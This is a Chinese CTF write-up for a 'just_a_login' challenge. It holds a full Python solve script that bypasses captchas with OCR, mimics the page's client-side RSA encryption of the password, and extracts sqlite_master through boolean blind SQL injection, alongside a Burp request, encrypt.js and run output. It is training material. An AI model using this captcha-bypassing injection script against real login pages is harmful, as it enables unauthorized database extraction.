

just_a_login-困难-python

提示

脚本

带验证码的报错注入，密码再加上去个js加密密码，前端直接摘抄

出题人：DDL

难度：困难

考点：写脚本(js简单加密(rsa)+验证码识别+sqllite布尔注入)

crpi-od6n6pziphyfcwhy.cn-hangzhou.personal.cr.aliyuncs.com/ddl08/01:31

提示

- 描述：只有一个登录框，flag是某个表的名字

The screenshot shows a browser window with a login form and a NetworkMiner tool interface.

Browser Screenshot: A Firefox-like browser window is shown with the URL `http://111.170.6.21:32830/login`. The page displays a simple login form titled "登录" (Login) with fields for "用户名" (Username), "密码" (Password), and "验证码" (Captcha). The "用户名" field contains "admin". The "验证码" field contains "8 3 M Y". A green "登录" (Login) button is at the bottom. The browser's address bar shows the URL, and the title bar says "SQLite注入 - FreeBuf网络安全".

NetworkMiner Screenshot: Below the browser is a NetworkMiner tool window. It has several tabs at the top: "过滤输出", "控制台", "控制台", "词试探", "网络", "样式编辑器", "性能", "内存", "存储", "无踪迹环境", "应用程序", "DOM", "HackBar", and "HackBar". The "控制台" tab is active. It displays a warning message: "不安全的 (http://) 页面中包含密钥栏。这可能有安全风险。会导员用户名和密钥被识别。[查看详情]" (Unsafe (http://) page contains a keybar. This may have security risks. Usernames and passwords may be identified. [View Details]). Below this, there are three items under "[Scanner]": "开始扫描...", "扫描当前页面...", and "扫描其他资源...". On the right side of the NetworkMiner window, there are tabs for "错误", "警告", "信息", "日志", "调试", "CSS", "XHR", and "请求". The "日志" tab is selected. It shows log entries: "logger_1:1:9:32", "logger_1:1:9:32", and "logger_1:1:9:32".

Burp Project Intruder Repeater Window Help Burp Suite Professional v2022.7.1 - Temporary Project - licensed to h3110w0r1d

Dashboard Target Proxy **Repeater** Intruder Sequencer Decoder Comparer Logger Extender Project options User options Learn xia Pao

Deserialization Scanner GAP

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x 9 x 10 x 11 x 12 x 13 x 14 x 15 x 16 x +

Send Cancel < | > | ? Target: http://127.0.0.1:8081 HTTP/1.1

Request

Pretty Raw Hex

```
1 POST /Login HTTP/1.1
2 Host: 127.0.0.1:8081
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Referer: http://127.0.0.1:8081/login
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 431
10 Origin: http://127.0.0.1:8081
11 Connection: close
12 Cookie: session=.eJyrvKpOLChJzhkhsqWykxRsjly0EqSa0eUbJSqvQM9IAc8jjzU4tLEnMLIKwMzUNLsNTQyM9IzNDcwNzCxqdZRyEkuA8vFQc-IhhtQCAK9PGug.aGvFmg.ptq9GtqYnPZarRZL7fes3G7sSnw
13 Upgrade-Insecure-Requests: 1
14 Sec-Fetch-Dest: document
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-User: ?1
18 Priority: u=0, i
19
20 loginType=userName&password_plain=&password_encrypted=ahaknzUKrYB1t73E8xptbQvyLOW0zde1WnGKhAdXKkGc%2B2EVaZYok8ZnVpEnzwMjHls5AEnutubBYQeM%2Fi8Mqt3tw7%2BiU1P9RQKTO8R2Suqq5gggTWNtJoxrt1EbgrSLK8Hjr8AmqbW2Ba%2BLsmPd0UYh15le2eY81UiIR15vhoSwyVln6LHNXB69CLRiBgziVB1hqOxmT1iHKDaJkgOUvvy6G77AT%2FuXB1p3rLsenk3h7HzcEq7ONINv4sI%2FsS0hZkJO602aRJOT1G7uuj7q1DK2LtgEcbo5IEdfMtPkks%2B6jotvP8laEKa6xQym%2Ff9n3b9zKuNbyU0%3D%3D&captcha=AA14|
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.3 Python/3.12.1
3 Date: Mon, 07 Jul 2025 13:04:16 GMT
4 Content-Type: text/html; charset=utf-8
5 Content-Length: 29
6 Connection: close
7
8 登录成功，欢迎admin!
```

Inspector

Request Attributes 2

Request Query Parameters 0

Request Body Parameters 4

Request Cookies 1

Request Headers 17

Response Headers 5

Search... 0 matches

Search... 0 matches

Done 202 bytes | 18 millis

The screenshot shows a web browser window with the URL <http://111.170.6.21:32830/login>. The page has fields for '用户名:' (admin), '密码:', and '验证码:' (8 3 M Y). Below the browser is a debugger interface with tabs like '查看器', '控制台', '调试器', '网络', '样式编辑器', '性能', '内存', '存储', '无障碍环境', '应用程序', 'DOM', 'HackBar', and 'HackBar'. The '调试器' tab is active, showing a file tree under '主线程' with '111.170.6.21:32830' selected. Inside, there's a file named 'JS encrypt.js' which contains the following code:

```

1 // encrypt.js
2 function encrypt(pwd){
3     var key3 = `-----BEGIN PUBLIC KEY-----
4 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIIBCgKCAQEAs9uX8hkv5j/51MsXmog2
5 3kzQ1+cYUGXT1yzeJf+0lAQWvRzNaDvLrGLmxK+3Ck3zUPEftveRFPLKGZJHVN
6 HrQphj1G94tbhIf6gp/MWNaR9a5SDW4VUIlhngIt9wCisGJTBkwGG8xB6ch3ggf
7 46cEEfVoWd9Q522TSzdMsIMWfyOJXgSYU9Zp0t26fb5aD4IpD4Fw6MnRUgi6RX
8 s3AOvlusQW4TC45vhnhylk4mkN1i+COUE1Kd7kgf/u1xb9nX8/dp0h1AxhT
9 MxwnJrqE4bmCQxGoWmGN3Lxq6CQDK0OH4kz/UaMnd6zKsxGcvFS/FrOTxTdIEV1
10 sQIDAQAB
11 `-----END PUBLIC KEY-----
12 `;
13
14     var encrypt = new JSEncrypt();
15     encrypt.setPublicKey(key3);
16     var encrypted = encrypt.encrypt(pwd);
17     return encrypted;
18 }

```

拿公钥模发包

同一个session只能用一次，验证码放数据库了，有校验

sqllite的布尔注入，参考 ↗

<https://www.freebuf.com/articles/network/324785.html>

```

1 import requests
2 import dddocr
3 import time
4 import requests
5 from base64 import b64encode
6 from Crypto.PublicKey import RSA
7 from Crypto.Cipher import PKCS1_v1_5
8 import base64
9 import json
10 import string
11
12
13 urlaaa="http://111.170.6.21:32830"
14 #脚本测试，题解
15
16 ocr = dddocr.DdddOcr(show_ad=False)
17 captcha_url=urlaaa+"/captcha?1751886384697"
18 # "http://127.0.0.1:5000/captcha?1751886384697"-----写url
19 flag=''
20 session = requests.Session()
21 public_key_pem = """-----BEGIN PUBLIC KEY-----
22 MIIBIjANBgkqhkiG9w0BAQEFAOAQ8AMIIIBgKCAQEAs9uXBWkw5j/51MsXmog2
23 3kzQl+CYU6XTly2eJf+014QMYwRzNaDvLrGLmxKe+3Ck3zUPEftveRFPLKGZJHVN
24 Hfqphj1G9t4tbhIFe6p/MwNahR9sDW4VUILhNglt9wCisGjTBkwGG8xB6ch3ggtf
25 46cEEfVoWd9Q522TSZdMsHwlfyOJXg5YZU9Zp0t26Jb5aD4IpD4FpW6MrRUgiGRX
26 s3AQvLusQw4TC4SvhnygLk4mkNj1+COUE1Kd7khgF/u1xxB9rhX8/dpOh1AxdhT
27 MxwnJrqE4bbmCQxGoLwm6N3Lxq6CQDK0OHakz/UaMnd6zKsxGcvFS/FrOTxTdIEV1
28 sQIDAQAB
29 -----END PUBLIC KEY-----"""
30 def encrypt_password(password: str) -> str:
31     rsa_key = RSA.import_key(public_key_pem)
32     cipher = PKCS1_v1_5.new(rsa_key)

```

PROBLEMS ② OUTPUT DEBUG CONSOLE TERMINAL PORTS

识别验证码为：PoH*

✗ 验证码错误(PoH*), 重试中...

识别验证码为：fmos

识别验证码为：010o

✗ 验证码错误(010o), 重试中...

识别验证码为：moco

✗ 验证码错误(moco), 重试中...

识别验证码为：kh6g

[119] 当前提取: 435245415445205441424C452022444C4E554354467B34346362323835622D306538392D346165302D383630632D3261323934303531386466377D2

识别验证码为：E5zF

识别验证码为：9PDz

识别验证码为：uuuyw

识别验证码为：snvo

脚本

```
1 import requests
2 import ddddocr
3 import time
4 import requests
5 from base64 import b64encode
6 from Crypto.PublicKey import RSA
7 from Crypto.Cipher import PKCS1_v1_5
8 import base64
9 import json
10 import string
11
12
13 urlaaa="http://111.170.6.21:32830"
14 #脚本测试，题解
15
16 ocr = ddddocr.DdddOcr(show_ad=False)
17 captcha_url=urlaaa+ "/captcha?1751886384697"
18 #"http://127.0.0.1:5000/captcha?1751886384697"#-----
19 -----写url
20 flag=''
21 session = requests.Session()
22 public_key_pem = "-----BEGIN PUBLIC KEY-----
23 MIIBIjANBgkqhkiG9w0BAQEFAAOCgKCAQEAs9uXBWkw5j/51MsXmog2
24 3kzQl+CYU6XTly2eJf+0l4QMYwRzNaDvLrGLmxKe+3Ck3zUPEftveRFPLKGZJHVN
25 Hfqphj1G94tbhIFe6p/MwNahR9aSDW4VUILhNglt9wCisGjTBkwGG8xB6ch3ggtf
26 46cEEfVoWd9Q522TSzdMsHWWfY0JXg5YZU9Zp0t26Jb5aD4IpD4FpW6MrRUgiGRX
27 s3AQvLusQW4TC4SvHnhygLk4mkNJi+C0UElKd7khgF/u1xxB9rhX8/dp0hLAxhT
28 MxwnJrqE4bbmCQxGoWm6N3Lxq6CQDK00HAkz/UaMnd6zKsxGcvFS/Fr0TxTdIEV1
29 sQIDAQAB
30 -----END PUBLIC KEY-----"
31 def encrypt_password(password: str) -> str:
32     rsa_key = RSA.import_key(public_key_pem)
33     cipher = PKCS1_v1_5.new(rsa_key)
34     encrypted_bytes = cipher.encrypt(password.encode())
35     return b64encode(encrypted_bytes).decode()
36
37 def try_login(password: str, captcha: str):
38     encrypted = encrypt_password(password)
39     url = urlaaa+ "/login"#-----
40     -----写url
41     headers = {
42         "Content-Type": "application/x-www-form-urlencoded",
43         "Referer": urlaaa+ "/login",
```

```
43         "User-Agent": "Mozilla/5.0",
44     }
45     data = {
46         "password_plain": "",
47         "password_encrypted": encrypted,
48         "captcha": captcha,
49     }
50     response = session.post(url, data=data, headers=headers)
51     # print(f"Trying password: {password} with captcha: {captcha}")
52     print(f"Response status: {response.status_code}")
53     print(response.text)
54
55
56
57
58 def getcode():
59     res = session.get(captcha_url)
60     res.raise_for_status()
61     captcha_img = res.content
62     captcha_code = ocr.classification(captcha_img)
63     print(f"识别验证码为: {captcha_code}")
64     return captcha_code
65
66
67
68 def try_login2(payload: str, captcha: str) -> str:
69     encrypted = encrypt_password(payload)
70     url = urlaaa + "/login"
71     headers = {
72         "Content-Type": "application/x-www-form-urlencoded",
73     }
74     data = {
75         "password_plain": "",
76         "password_encrypted": encrypted,
77         "captcha": captcha,
78     }
79     response = session.post(url, data=data, headers=headers)
80     return response.text
81
82 def blind_extract_sqlite_master():
83     result = ''
84     for i in range(1, 500): # 最多提取500字符
85         low = 32
86         high = 128
87         while low < high:
88             mid = (low + high) // 2
89
```

```
payload = f"-1' OR substr((SELECT hex(group_concat(sql)) FROM sqlite_master),{i},1) > '{chr(mid)}'-- -"
for attempt in range(50): # 最多5次验证码尝试
    captcha = getcode()
    response_text = try_login2(payload, captcha)
    if "验证码错误" in response_text:
        print(f"X 验证码错误({captcha}), 重试中...")
        continue
    break
else:
    print("Q 多次验证码失败, 跳过该字符")
    break

if "欢迎admin" in response_text:
    low = mid + 1
else:
    high = mid

if low == 32 or low == 127:
    break

result += chr(low)
print(f"[{i}] 当前提取: {result}")

print("\n最终结果 (HEX解码) :")
try:
    print(bytes.fromhex(result).decode('utf-8'))
except Exception as e:
    print(f"X 解码失败: {e}")
    print(f"原始HEX结果: {result}")
...
...
```